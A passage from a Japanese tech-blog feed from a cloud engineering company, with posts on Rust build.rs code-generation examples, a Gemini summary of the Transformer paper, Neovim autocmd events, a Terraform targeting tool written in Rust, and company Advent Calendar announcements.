Cargoが提供するビルド出力ディレクトリdest_path: 生成されるファイルの出力先3. データの処理for entry in WalkDir::new(json_dir).into_iter().filter_map(|e| e.ok()) { if entry.file_type().is_file() && entry.path().extension().map_or(false, |ext| ext == \\"json\\") { let content = fs::read_to_string(entry.path()).unwrap(); let file_data: HashMap = serde_json::from_str(&content).unwrap(); let prefix = entry.path().file_stem().unwrap().to_str().unwrap(); for (suffix, data) in file_data { let full_postcode = format!(\\"{}{}\\", prefix, suffix); merged_data.insert(full_postcode, data); } }}このコードブロックでは以下の処理を行っています。WalkDirを使用してディレクトリを再帰的に走査JSONファイルのみを対象にフィルタリング各ファイルの内容を読み込みとパースファイル名とデータを組み合わせて完全な郵便番号を生成マージされたデータに追加4. 結果の出力fs::write(dest_path, serde_json::to_string(&merged_data).unwrap()).unwrap();処理したデータを1つのJSONファイルとして出力します。生成したデータの利用方法1. アプリケーションでのデータ読み込みuse once_cell::sync::Lazy;use serde::{Deserialize, Serialize};use std::collections::HashMap;#[derive(Debug, Serialize, Deserialize)]struct Address { postcode: String, prefecture: String, city: String, // ... 他のフィールド}static ADDRESS_MAP: Lazy>> = Lazy::new(|| { let data = include_str!(concat!(env!(\\"OUT_DIR\\"), \\"/address_data.json\\")); serde_json::from_str(data).expect(\\"Failed to parse address data\\")});2. 検索機能の実装fn lookup_address(postal_code: &str) -> Option<&Vec
> { ADDRESS_MAP.get(postal_code)}fn search_by_prefecture(prefecture: &str) -> Vec<&Address> { ADDRESS_MAP .values() .flat_map(|addresses| addresses.iter()) .filter(|addr| addr.prefecture == prefecture) .collect()}build.rsの主要な機能1. 環境変数の設定// コンパイル時の条件設定println!(\\"cargo:rustc-cfg=feature=\\\\\\"custom_feature\\\\\\"\\");// 環境変数の設定println!(\\"cargo:rustc-env=APP_VERSION=1.0.0\\");2. リンカ設定// 外部ライブラリのリンクprintln!(\\"cargo:rustc-link-lib=sqlite3\\");println!(\\"cargo:rustc-link-search=native=/usr/local/lib\\");3. コードの生成// バージョン情報の生成let version_code = format!( \\"pub const VERSION: &str = \\\\\\"{}\\\\\\";\\\\n\\", env!(\\"CARGO_PKG_VERSION\\"));fs::write(\\"version.rs\\", version_code)?;実践的な利用シーン1. 設定ファイルの統合と生成複数の環境向けの設定ファイルを1つに統合する例:use std::collections::HashMap;use serde_json::Value;fn main() { println!(\\"cargo:rerun-if-changed=config/\\"); let environments = [\\"development\\", \\"staging\\", \\"production\\"]; let mut merged_config = HashMap::new(); for env in environments { let config_path = format!(\\"config/{}.json\\", env); let config_content = std::fs::read_to_string(&config_path).unwrap(); let config: Value = serde_json::from_str(&config_content).unwrap(); merged_config.insert(env, config); } let out_dir = std::env::var(\\"OUT_DIR\\").unwrap(); let dest_path = Path::new(&out_dir).join(\\"config.rs\\"); // 設定をRustのコードとして出力 let config_code = format!( \\"pub static CONFIG: Lazy> = Lazy::new(|| {{ serde_json::from_str({}).unwrap() }});\\", serde_json::to_string(&merged_config).unwrap() ); std::fs::write(dest_path, config_code).unwrap();}使用例:// main.rsuse once_cell::sync::Lazy;include!(concat!(env!(\\"OUT_DIR\\"), \\"/config.rs\\"));fn get_database_url(env: &str) -> String { CONFIG[env][\\"database\\"][\\"url\\"].as_str().unwrap().to_string()}2. プロトコル定義ファイルの生成Protocol Buffersの定義ファイルからRustコードを生成する例:use std::process::Command;fn main() { println!(\\"cargo:rerun-if-changed=proto/\\"); // protoファイルのコンパイル let status = Command::new(\\"protoc\\") .args(&[ \\"--rust_out=src/generated\\", \\"--proto_path=proto\\", \\"service.proto\\" ]) .status() .unwrap(); if !status.success() { panic!(\\"Failed to compile proto files\\"); } // 生成されたコードをモジュールとして登録 let mod_content = r#\\" pub mod generated { include!(\\"generated/service.rs\\"); } \\"#; std::fs::write(\\"src/proto_mod.rs\\", mod_content).unwrap();}使用例:// lib.rsmod proto_mod;use proto_mod::generated::{UserRequest, UserResponse};pub async fn handle_user_request(req: UserRequest) -> UserResponse { // プロトコル定義に基づいた処理}3. アセットファイルの埋め込み画像やテキストファイルをバイナリに埋め込む例:use std::collections::HashMap;use base64;fn main() { println!(\\"cargo:rerun-if-changed=assets/\\"); let mut assets = HashMap::new(); // 画像ファイルの埋め込み for entry in std::fs::read_dir(\\"assets\\").unwrap() { let entry = entry.unwrap(); let path = entry.path(); if path.extension().map_or(false, |ext| ext == \\"png\\" || ext == \\"jpg\\") { let content = std::fs::read(&path).unwrap(); let encoded = base64::encode(&content); let asset_name = path.file_name().unwrap().to_str().unwrap(); assets.insert(asset_name.to_string(), encoded); } } // アセットデータをRustコードとして出力 let out_dir = std::env::var(\\"OUT_DIR\\").unwrap(); let dest_path = Path::new(&out_dir).join(\\"assets.rs\\"); let assets_code = format!( \\"pub static ASSETS: Lazy> = Lazy::new(|| {{ let mut m = HashMap::new(); {} m }});\\", assets.iter().map(|(k, v)| { format!(\\"m.insert(\\\\\\"{}\\\\\\".to_string(), \\\\\\"{}\\\\\\".to_string());\\", k, v) }).collect::>().join(\\"\\\\n\\") ); std::fs::write(dest_path, assets_code).unwrap();}使用例:// lib.rsuse once_cell::sync::Lazy;include!(concat!(env!(\\"OUT_DIR\\"), \\"/assets.rs\\"));pub fn get_image_data(name: &str) -> Option> { ASSETS.get(name) .map(|encoded| base64::decode(encoded).unwrap())}4. データベースマイグレーションファイルの統合SQLマイグレーションファイルを1つのモジュールにまとめる例:fn main() { println!(\\"cargo:rerun-if-changed=migrations/\\"); let mut migrations = Vec::new(); // マイグレーションファイルの収集 for entry in std::fs::read_dir(\\"migrations\\").unwrap() { let entry = entry.unwrap(); let path = entry.path(); if path.extension().map_or(false, |ext| ext == \\"sql\\") { let version = path.file_stem().unwrap().to_str().unwrap() .split(\'_\').next().unwrap(); let content = std::fs::read_to_string(&path).unwrap(); migrations.push((version.to_string(), content)); } } // マイグレーションをRustコードとして出力 let migrations_code = format!( \\"pub static MIGRATIONS: &[(&str, &str)] = &[{}];\\", migrations.iter() .map(|(ver, sql)| format!(\\"(\\\\\\"{}\\\\\\", \\\\\\"{}\\\\\\")\\", ver, sql.replace(\\"\\\\\\"\\", \\"\\\\\\\\\\\\\\"\\"))) .collect::>() .join(\\",\\\\n\\") ); let out_dir = std::env::var(\\"OUT_DIR\\").unwrap(); let dest_path = Path::new(&out_dir).join(\\"migrations.rs\\"); std::fs::write(dest_path, migrations_code).unwrap();}使用例:// database.rsinclude!(concat!(env!(\\"OUT_DIR\\"), \\"/migrations.rs\\"));pub async fn run_migrations(db: &SqlitePool) -> Result<()> { for (version, sql) in MIGRATIONS { db.execute(sql).await?; println!(\\"Applied migration version {}\\", version); } Ok(())}これらの例は、build.rsの実践的な使用方法を示しています。各例で以下のような利点があります。コンパイル時のリソース最適化開発時の利便性向上ランタイムパフォーマンスの改善コードの保守性向上実際のプロジェクトでは、これらの手法を組み合わせたり、プロジェクトの要件に合わせてカスタマイズしたりすることで、より効率的な開発環境を構築できます。しかし、魔環境もしくはビルド地獄を顕現させることもできるので注意が必要だと思いました。参考資料The Cargo Book - Build ScriptsRust By Example - Build Scriptsまとめこのビルドスクリプトの実装例を通じて、build.rsの有用性が明確になりました。コンパイル時のデータ最適化や複数ファイルの統合処理、動的なコード生成、そしてプラットフォーム固有の設定管理など、多岐にわたる機能を提供します。実際のプロジェクトでは、これらの機能を組み合わせることで、効率的な開発環境とビルドプロセスを実現できます。build.rsを活用することで、コンパイル時に必要なリソースの最適化や設定の自動化が可能となり、開発効率の向上とコードの保守性改善に大きく貢献します。","isoDate":"2024-12-03T05:31:49.000Z","dateMiliSeconds":1733203909000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Transformer論文を生成AIで要約してみた","link":"https://shu-kob.hateblo.jp/entry/2024/12/02/233507","contentSnippet":"この記事は生成AI Advent Calendar 2024の3日目の記事です。AIの歴史は60年ほどで、「冬の時代」と呼ばれる停滞期もありましたが、昨今の生成AIの発展は「Transformer」と呼ばれる論文から始まりました。この「Transformer」論文をわかりやすいように生成AIに要約させてみました。arxiv.org「Transformer」論文は上記サイトで見ることができます。論文の正式名称は「Attention Is All You Need」で、現在 v7。右側のAccess Paper:から閲覧することができます。なお、PDFの直リンクはこちらGoogle CloudのVertex AIでGeminiに要約させた結果は以下です。プロンプト「この論文を日本語で高校3年生レベルにもわかるように要約してください。」この論文は、「Transformer」という、機械翻訳などのシーケンス変換タスクに革新をもたらした新しいニューラルネットワークアーキテクチャを提案しています。高校3年生にもわかるように要約すると、以下のようになります。従来の機械翻訳の問題点:従来の機械翻訳は、RNN(再帰型ニューラルネットワーク)という技術を主に使っていました。RNNは文章を単語ごとに順番に処理していくため、長い文章だと処理に時間がかかります。また、並列処理が難しいため、計算速度を上げるのが困難でした。Transformerの革新的な点:Transformerは、「Attention(注意機構)」という仕組みに完全に基づいており、RNNのような順番に処理する仕組みを完全に排除しました。Attention機構は、翻訳したい単語を生成する際に、入力文全体の中でどの単語に注目すべきかを判断する仕組みです。人間の翻訳作業で例えると、翻訳する際に原文の関連する部分に注目するのと同じような働きをします。この仕組みにより、以下の利点が生まれました。並列処理が可能: 単語を順番に処理する必要がないため、並列処理が可能になり、計算速度が大幅に向上しました。長い文章への対応力向上: RNNでは、文章が長くなるほど精度が落ちやすいという問題がありましたが、Attention機構は入力文全体を一度に見ることができるため、長い文章でも高い精度を維持できます。Transformerの成果:Transformerは、従来のモデルよりも高い精度を達成し、さらに学習時間も大幅に短縮しました。具体的には、英語からドイツ語への翻訳と英語からフランス語への翻訳タスクで、当時の最高精度を更新しました。Transformerの仕組みを簡単に説明すると:Transformerは、エンコーダとデコーダという2つの部分から構成されています。エンコーダ: 入力文を解析し、各単語の意味をベクトル表現に変換します。デコーダ: エンコーダの出力とAttention機構を利用して、翻訳文を生成します。エンコーダとデコーダは、それぞれ複数の層が積み重なった構造になっています。各層は、Attention機構と全結合層という2つのサブ層から構成されています。Transformerの今後の展望:Transformerは、テキスト以外のデータ(画像、音声、動画など)にも応用できる可能性があり、様々な分野での活用が期待されています。また、文章生成をより効率的に行うための研究も進められています。簡単に言うと、Transformerは、人間の「注意」の仕組みに似た仕組みを使って、従来よりも高速で高精度な機械翻訳を実現した画期的な技術です。","isoDate":"2024-12-02T14:35:07.000Z","dateMiliSeconds":1733150107000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"2025年の崖から考える我々のパーパス(序章)","link":"https://shu-kob.hateblo.jp/entry/2024/12/01/232229","contentSnippet":"はじめにこの記事は3-shake Advent Calendar 2024 シリーズ1の2日目の記事です。1日目はシリーズ1がYutaro ShirayamaさんのポストCloud9?クラウドIDE CoderでPlatform Engineeringを実践する2日目はシリーズ2がYoshinori Teraokaさんのvector で kubernetes の container log を CloudWatch Logs に転送するでした。なお、シリーズ2の2日目はshingo919さんの 九州旅行記(ドライブでの九州一週旅行は大変だった!)です。2025年の崖今回は「2025年の崖」について軽くご紹介したいと思います。いよいよ2025年になりますが、ITでは「2025年の崖」という言葉が存在します。2025年の崖がある中で、スリーシェイクのSreake事業部が果たす役割を考えていきたいと思います。「2025年の崖」をググったら色々出てきますが、経済産業省のレポートが1次情報源的かつわかりやすいでしょう。www.meti.go.jpなお、DXレポート ~ITシステム「2025年の崖」の克服とDXの本格的な展開~(サマリー)はスライド5枚にまとまっており、さっと読みやすいです。「2025年の崖」は要するに何なのかというと、IT人材が不足しており、レガシーシステムを保守するのに限界が来ている。DXも推進しないといけない。何とかしないともう後が無い。という状況。2015年時点で、IT人材の不足が約17万人とされていたところ、2025年には約43万人にまで上ります。既存のレガシーシステムの保守がブラックボックス、属人的になっており、DX化の足枷に → デジタル競争の敗者に技術的負債が溜まる一方保守運用の担い手不足で、サイバーセキュリティ事故が起きやすくこんな厳しい状況を打破するには、ユーザとベンダーそれぞれで対策していく必要があります。ユーザは人材・資金を保守からDXにシフトベンダーも同様に人材・資金を保守からDXにシフトベンダーはAI、アジャイル、マイクロサービス等最新技術を用いたビジネスにシフトやることはわかっていても、そう簡単にはいきません。ただし、スリーシェイクのSreake事業では、内製化支援も行っており、これまで数々の企業様の支援を行ってまいりました。Sreakeという商材は難しく、入社して1年が経った私もストンと腹落ちできる説明ができないままでしたが、「2025年の崖」をどう克服するかが我々のパーパスだと感じました。私は生成AIアプリケーション開発支援というDXを担当しておりますが、案件の推進を通して、「DX推進」を語れるようになっていきたいと思います。今回は、序章のような形で今後も2025年の崖について書いていければと思います。次の3-shake Advent Calendar 2024はシリーズ1がkechigonさんの「Google Cloud monitoringのアラートをGitHub issueに通知する」シリーズ2がtryu___さんの「kubebuilder使ってpodの監視してみた」です。","isoDate":"2024-12-01T14:22:29.000Z","dateMiliSeconds":1733062949000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"vector で kubernetes の container log を CloudWatch Logs に転送する","link":"https://qiita.com/yteraoka/items/df0777cdcb403a7af750","contentSnippet":"Vector とはvector は timber とともに買収され datadog がメンテナンスしているオープンソースプロジェクトのようです。(Datadog acquires Timber T…","isoDate":"2024-12-01T12:20:46.000Z","dateMiliSeconds":1733055646000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"週間アトデ 2024-12-01","link":"https://blog.atusy.net/2024/12/01/atodeyomanakata/","contentSnippet":"アトデヨム、ウソジャナイ、ヨムノタノシー","isoDate":"2024-12-01T00:00:00.000Z","dateMiliSeconds":1733011200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Geminiのビジネス利用でのメリットを語る","link":"https://shu-kob.hateblo.jp/entry/2024/11/30/233039","contentSnippet":"この記事はGCP(Google Cloud Platform) Advent Calendar 2024 1日目の記事です。2024年はIT業界にとって、最も話題に上がったトピックは生成AIだったのではないでしょうか?2023年までは生成AIと家は、ChatGPTでしたが、2024年はGoogleがBardをリブランディングして、Gemini(ジェミニ)とし、しのぎを削っています。私はGoogle Cloudのパートナー企業である株式会社スリーシェイク Sreake事業部にて、Geminiを用いた生成AIアプリケーション開発に携わっており、Geminiのビジネス利用でのメリットを語りたいと思います。Gemini-1.5-Proは最大200万トークンの読み込みが可能Geminiの強みの中で、最も他の生成AIモデルと差別化できているのが、トークン数の長さです。これにより、動画解析などへの利用もしやすくなりました。Geminiはマルチモーダルなので、音声、画像、動画なども処理可能です。量の目安としては以下になります。書籍15〜20冊程度の分量動画約2時間音声約22時間BigQueryで容易にデータ分析基盤を構築可能他のクラウドには同様のサービスがなく、同じ機能を実現するためには複数のサービスを組み合わせる必要があります。AzureやAWS、オンプレのデータはそのままで読み込みだけ行う機能もあります。今お使いのシステム構成はほぼ変えず、追加構築可能となります。Geminiは他のモデルと比較してトークンあたりの利用料が安いGoogle Cloud上で稼働させるのに最適化しているためです。他社のクラウドで使える生成AIモデルは別会社のものなので、クラウドも生成AIもGoogleのGeminiによって、この点も強みです!もしもGeminiの出力結果が著作権侵害で係争が発生してもGoogle Cloudがサポート他クラウドにはないサービスです。こちらも、クラウドも生成AIも会社が揃っている強みと言えるでしょう。真実性1位!Gemini 1.5 ProがNIKKEI Digital Governanceが調査した真実性のスコアで1位となりました!以下の記事は最初日経で見れていたと思うのですが、今はNIKKEI Digital Governanceに登録しないと見れないようです。博識のGoogle、主観強いMeta 生成AIの「真実性」を検証上記画像は下記記事から引用させていただきました。note.com2024年もあと少し。2025年もGeminiとともに生成AIを盛り上げていきたいと思います!GCP(Google Cloud Platform) Advent Calendar 2024 次の記事はknak72さんによる企業のセキュリティ強化に! Chrome Enterprise Premium のURLフィルタリングとマルウェアスキャン機能です。","isoDate":"2024-11-30T14:30:39.000Z","dateMiliSeconds":1732977039000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"3-shake Advent Calendar 2024 やっていきます #3SHAKE","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/30/142710","contentSnippet":"こんにちは、nwiizoです。晩秋の肌寒さが身にしみるこの11月も今日で終わりですね。ついこの前、昨年のAdvent Calendarで記事埋めを依頼され、慌ただしく準備した記憶が鮮明です。まったく、時の流れとは不思議なものです。今年もスリーシェイクのAdvent Calendarを開催することができます。この企画が実現したのは、ひとえに社内の方々の温かいご協力の賜物であり、その事実に深い感謝の念を抱いております。qiita.comスリーシェイクは「インフラをシンプルにしてイノベーションを起こす」というビジョンのもと、クラウド、セキュリティ、データ連携、HR領域で4つのサービスを展開しているテクノロジーカンパニーです。3-shake.com先日、シリーズB追加ラウンドとしてNTTデータ、SCSKから10億円の資金調達を実施し、資本業務提携を締結するニュースが出るなど、着実に成長を続けています。prtimes.jp今年のAdvent Calendarでも、エンジニアの技術的な記事だけでなく、スリーシェイクで働く様々な職種のメンバーによる記事をお届けする予定です。エンジニア以外にも営業、カスタマーサクセス、広報、経営企画など、多様なバックグラウンドを持つメンバーたちが、それぞれの視点からスリーシェイクでの経験や日々の発見を共有していきます。なぜ技術的な記事に限定しないのか。それは、私たちが目指すイノベーションには、技術だけでなく、様々な専門性や視点が必要だと考えているからです。このAdvent Calendarを通じて、スリーシェイクがどのような会社で、どんな人たちが働いているのか、より深く知っていただければ幸いです。記事の更新情報は、スリーシェイクの公式Xアカウント(@3shake_Inc)でお知らせしていきますので、ぜひフォローをお願いします!また、Advent Calendarも合わせてチェックしていただければと思います。成長を続けるスリーシェイクの「今」を知るきっかけとして、どうぞお楽しみください!jobs-3-shake.com","isoDate":"2024-11-30T05:27:10.000Z","dateMiliSeconds":1732944430000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"スリーシェイク、Google Cloud Japan の「 Google Cloud Partner Top Engineer 2025 」にて3名のエンジニアが受賞","link":"https://sreake.com/blog/%e3%82%b9%e3%83%aa%e3%83%bc%e3%82%b7%e3%82%a7%e3%82%a4%e3%82%af%e3%80%81google-cloud-japan-%e3%81%ae%e3%80%8c-google-cloud-partner-top-engineer-2025-%e3%80%8d%e3%81%ab%e3%81%a63%e5%90%8d%e3%81%ae/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)のエンジニア3名が、Google Cloud Japan が高い技術力を持ったエンジニアを表彰するプログラムである「 Google Cloud Partner Top Engineer 2025 」に選出されたことをお知らせします。The post スリーシェイク、Google Cloud Japan の「 Google Cloud Partner Top Engineer 2025 」にて3名のエンジニアが受賞 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-28T06:03:47.000Z","dateMiliSeconds":1732773827000,"authorName":"Sreake","authorId":"Sreake"},{"title":"3-shake における組織的な Google Cloud Partner Top Engineer 推進について","link":"https://sreake.com/blog/google-cloud-partner-top-engineer-2025/","contentSnippet":"はじめに 3-shakeで、Engineering Team Lead / SRE をやっている横尾(@866mfs)です 今回、3-shake では、佐藤 慧太(@SatohJohn), 横尾 杏之介(@866mfs) […]The post 3-shake における組織的な Google Cloud Partner Top Engineer 推進について first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-28T06:00:00.000Z","dateMiliSeconds":1732773600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"コミュニティ紹介: Kubernetes Meetup Novice","link":"https://speakerdeck.com/bells17/komiyuniteishao-jie-kubernetes-meetup-novice","contentSnippet":"Cloud Native Days Winter 2024のCommunity & Beginner LTでお話した資料です。\\r\\rhttps://pfem.notion.site/CNDW2024-Community-Beginner-LT-13821b0141e0800cb403c880cb4d2738","isoDate":"2024-11-28T05:00:00.000Z","dateMiliSeconds":1732770000000,"authorName":"bells17","authorId":"bells17"},{"title":"メインテーマはKubernetes","link":"https://speakerdeck.com/nwiizo/meintemahakubernetes","contentSnippet":"2024年16:20-17:00(Track A)にて「メインテーマはKubernetes」というタイトルで登壇します。\\r\\rイベント名: Cloud Native Days Winter 2024\\r\\r公式URL:https://event.cloudnativedays.jp/cndw2024/\\r\\rセッションURL:https://event.cloudnativedays.jp/cndw2024/talks/2373","isoDate":"2024-11-28T05:00:00.000Z","dateMiliSeconds":1732770000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"KubeCon + Cloud NativeCon North America 参加レポート","link":"https://sreake.com/blog/kubecon-cloud-nativecon-north-america-2024-report/","contentSnippet":"はじめに こんにちは!3-shak inc, で SRE をやっている横尾(@866mfs)です。 2024/11/12 ~ 2024/11/15 に開催された、\xa0KubeCon + CloudNativeCo […]The post KubeCon + Cloud NativeCon North America 参加レポート first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-27T00:28:01.000Z","dateMiliSeconds":1732667281000,"authorName":"Sreake","authorId":"Sreake"},{"title":"mini.aiで日本語の括弧の中身をrepeatableに編集する","link":"https://blog.atusy.net/2024/11/27/mini-ai-ja/","contentSnippet":"mini.aiとremapをうまく活用するとaj[で「foo」のような日本語の括弧に対して発動するテキストオブジェクトをdot-repeatableに実装できることに気付きました。","isoDate":"2024-11-27T00:00:00.000Z","dateMiliSeconds":1732665600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Neovimのイベントタイミングガイド","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/27/023303","contentSnippet":"はじめにNeovimでの設定やプラグイン開発において、適切なタイミングでコードを実行することは非常に重要です。このガイドでは、Neovimの主要なイベントについて、実用的な例を交えながら解説します。1. 起動時のイベント系統Neovimの起動プロセスで最も重要なイベントはVimEnterです。これは全ての初期化処理(vimrcの読み込み、プラグインの初期化など)が完了した後に発火します:vim.api.nvim_create_autocmd(\\"VimEnter\\", { callback = function() -- プラグインの初期化 -- カラースキームの設定 -- ステータスラインの設定など end,})2. バッファ操作のイベント系統バッファの作成から読み込みまでの主要なイベント:BufNew: バッファ作成直後BufAdd: バッファリストへの追加時BufReadPre: ファイル読み込み前BufReadPost: ファイル読み込み後BufEnter: バッファアクティブ化時vim.api.nvim_create_autocmd(\\"BufReadPost\\", { pattern = \\"*\\", callback = function() -- ファイル読み込み後の処理 -- 最後のカーソル位置の復元など end,})3. 編集モードのイベント系統テキスト編集に関連する主要なイベント:InsertEnter: 挿入モード開始時TextChangedI: 挿入モードでテキスト変更時InsertLeave: 挿入モード終了時TextChanged: ノーマルモードでテキスト変更時vim.api.nvim_create_autocmd(\\"InsertEnter\\", { pattern = \\"*\\", callback = function() -- 挿入モード開始時の設定 -- 相対行番号の無効化など end,})4. ファイル保存のイベント系統ファイル保存時の処理フロー:BufWritePre: 保存前BufWrite: 保存処理中BufWritePost: 保存後vim.api.nvim_create_autocmd(\\"BufWritePre\\", { pattern = \\"*\\", callback = function() -- 保存前の自動整形 -- 末尾の空白除去など end,})5. 終了時のイベント系統Neovim終了時の処理順序:QuitPre: 終了コマンド実行時VimLeavePre: 終了処理開始前VimLeave: 最終終了処理時vim.api.nvim_create_autocmd(\\"VimLeavePre\\", { callback = function() -- セッション保存 -- 未保存バッファの保存など end,})実践的なサンプルコード以下は、よくある設定パターンの例です:-- ファイルタイプ別の設定vim.api.nvim_create_autocmd(\\"FileType\\", { pattern = {\\"python\\", \\"lua\\", \\"rust\\"}, callback = function() local settings = { python = { indent = 4, expandtab = true }, lua = { indent = 2, expandtab = true }, rust = { indent = 4, expandtab = true } } local ft = vim.bo.filetype if settings[ft] then vim.bo.shiftwidth = settings[ft].indent vim.bo.expandtab = settings[ft].expandtab end end,})-- 自動保存の設定vim.api.nvim_create_autocmd({\\"InsertLeave\\", \\"TextChanged\\"}, { pattern = \\"*\\", callback = function() if vim.bo.modified and vim.bo.buftype == \\"\\" then vim.cmd(\\"silent! write\\") end end,})-- 最後のカーソル位置を復元vim.api.nvim_create_autocmd(\\"BufReadPost\\", { pattern = \\"*\\", callback = function() local last_pos = vim.fn.line(\\"\'\\\\\\"\\") if last_pos > 0 and last_pos <= vim.fn.line(\\"$\\") then vim.cmd(\'normal! g`\\"\') end end,})注意点イベントは適切な順序で処理される必要があります重い処理は非同期で行うことを推奨しますパターンマッチングを活用して、必要なファイルタイプのみで実行するようにしますvim.schedule()を使用して、UIブロッキングを避けます参考文献Neovim オートコマンドドキュメントAutocmd | 5. eventsNeovim Lua API リファレンスnvim_create_autocmd())","isoDate":"2024-11-26T17:33:03.000Z","dateMiliSeconds":1732642383000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Rustでterraform plan/apply のターゲット指定を簡単にするツールを作ってみた - tfocusの仕組みと使い方","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/27/004309","contentSnippet":"1. はじめにこんにちは、nwiizoです。本記事では、Terraformで特定のリソースだけをplan/applyするためのインタラクティブCLIツール「tfocus」の設計と実装について、Rustの学習という観点も交えながら詳しく解説していきます。github.comまた、良さそうであればGithub Starsをいただきたいです。2. 背景と動機2.1 開発の契機大規模なTerraformコードベースでの作業において、様々な課題に直面することがあります。本番環境で特定リソースにトラブルが発生した際の調査や、開発中の変更を検証する場合、また大規模な変更を段階的に適用する必要がある場合などが典型的な例です。従来のTerraform CLIでも-targetオプションでリソースを指定できますが、正確なリソースパスを記述する必要があり、緊急時の運用には適していません。特に本番環境でのインシデント対応時には、迅速かつ正確なリソース指定が求められます。developer.hashicorp.com2.2 解決したい問題ツールの開発にあたり、複数の課題解決を目指しています。まずリソース選択を直感的に行えるようにすることで、運用者の負担を軽減します。同時に操作ミスを未然に防ぐ仕組みを導入し、安全性を確保します。また、緊急時にも迅速な対応ができるインターフェースを実現し、効率的なデバッグ作業を可能にすることで、運用効率の向上を図ります。3. 技術スタックの選定3.1 Rustを選んだ理由Rustを採用した理由は複数あります。まず、ゼロコスト抽象化による高いパフォーマンスを実現できることが挙げられます。また、強力な型システムと所有権モデルにより、メモリ安全性を確保できます。さらに、様々なOS向けにネイティブバイナリを生成できるクロスプラットフォーム対応も重要な選定理由となりました。豊富なクレートが利用可能な充実したエコシステムも、開発効率を高める要因となっています。最後に、純粋な学習目的として、小規模なツール開発を通じてRustの理解を深めることも目指しています。何かを引用するために書籍を貼ったが何を引用したいか忘れてしまった(がぎりぎりでこのブログを書いている為に調べることができない)。達人プログラマー ―熟達に向けたあなたの旅― 第2版作者:David Thomas,Andrew Huntオーム社Amazon3.2 主要な依存クレート[dependencies]walkdir = \\"2.3\\" # ファイルシステム走査regex = \\"1.5\\" # パターンマッチングclap = \\"4.4\\" # CLIパーサーthiserror = \\"1.0\\" # エラー型colored = \\"2.0\\" # カラー出力crossterm = \\"0.27\\" # TUIfuzzy-matcher = \\"0.3\\" # あいまい検索doc.rust-lang.org各クレートの選定理由:walkdir: 効率的な再帰的ファイル走査を提供regex: 高速で柔軟なパターンマッチングが可能clap: 型安全なCLI引数パーサーthiserror: エラー型の簡潔な定義crossterm: プラットフォーム独立なTUI実装fuzzy-matcher: 使いやすいあいまい検索機能4. 実装の詳細4.1 アーキテクチャ設計プロジェクトは機能ごとに明確に分離された以下のモジュール構成を採用しています:src/├── cli.rs # CLIインターフェース├── display.rs # 表示処理├── error.rs # エラー型├── executor.rs # Terraform実行├── input.rs # 入力処理├── main.rs # エントリーポイント├── project.rs # プロジェクト解析├── selector.rs # リソース選択UI└── types.rs # 共通型定義各モジュールの責務:cli.rs: コマンドライン引数の定義と解析#[derive(Parser)]#[command(author, version, about)]pub struct Cli { /// Terraformディレクトリのパス #[arg(short, long, default_value = \\".\\")] pub path: PathBuf, /// 実行する操作 #[arg(short, long)] pub operation: Option, /// 詳細出力の有効化 #[arg(short, long)] pub verbose: bool,}project.rs: Terraformファイルの解析impl TerraformProject { pub fn parse_directory(path: &Path) -> Result { let mut project = TerraformProject::new(); for file_path in Self::find_terraform_files(path)? { project.parse_file(&file_path)?; } Ok(project) } fn parse_file(&mut self, path: &Path) -> Result<()> { let content = fs::read_to_string(path)?; self.parse_resources(&content, path)?; self.parse_modules(&content, path)?; Ok(()) }}4.2 エラーハンドリング型安全なエラーハンドリングを実現するため、カスタムエラー型を定義:#[derive(Error, Debug)]pub enum TfocusError { #[error(\\"IO error: {0}\\")] Io(#[from] std::io::Error), #[error(\\"Failed to parse terraform file: {0}\\")] ParseError(String), #[error(\\"Invalid target selection\\")] InvalidTargetSelection, #[error(\\"Terraform command failed: {0}\\")] TerraformError(String), #[error(\\"No terraform files found\\")] NoTerraformFiles,}4.3 リソース選択UIの実装fuzzy検索を活用した効率的なリソース選択:impl Selector { fn filter_items(&mut self) { let query = self.query.to_lowercase(); let mut matches: Vec<(usize, i64)> = self .items .iter() .enumerate() .filter_map(|(index, item)| { self.matcher .fuzzy_match(&item.search_text.to_lowercase(), &query) .map(|score| (index, score)) }) .collect(); // スコアでソート matches.sort_by_key(|&(_, score)| -score); self.filtered_items = matches.into_iter() .map(|(index, _)| index) .collect(); } fn render_screen(&mut self) -> Result<()> { let mut stdout = stdout(); execute!( stdout, terminal::Clear(ClearType::All), cursor::MoveTo(0, 0) )?; self.render_search_box()?; self.render_items()?; self.render_status_line()?; stdout.flush()?; Ok(()) }}4.4 パフォーマンス最適化実行速度とメモリ使用量の最適化:[profile.release]opt-level = 3 # 最高レベルの最適化lto = true # リンク時最適化codegen-units = 1 # 単一コード生成ユニットstrip = true # バイナリサイズ削減5. Rustから学ぶシステム設計tfocusの実装を通じて学べるRustの重要概念プログラミングRust 第2版作者:Jim Blandy,Jason Orendorff,Leonora F. S. TindallオライリージャパンAmazon5.1 所有権とライフタイムリソースの効率的な管理:impl Resource { pub fn full_name(&self) -> String { if self.is_module { format!(\\"module.{}\\", self.name) } else { format!(\\"{}.{}\\", self.resource_type, self.name) } }}5.2 エラー伝播?演算子を使用した簡潔なエラーハンドリング:pub fn execute_terraform_command( operation: &Operation, target_options: &[String],) -> Result<()> { let mut command = Command::new(\\"terraform\\"); command.arg(operation.to_string()); for target in target_options { command.arg(target); } let status = command.spawn()?.wait()?; if status.success() { Ok(()) } else { Err(TfocusError::TerraformError( \\"Command execution failed\\".to_string() )) }}5.3 トレイトの活用共通インターフェースの定義:pub trait Display { fn render(&self) -> Result<()>; fn update(&mut self) -> Result<()>;}6. 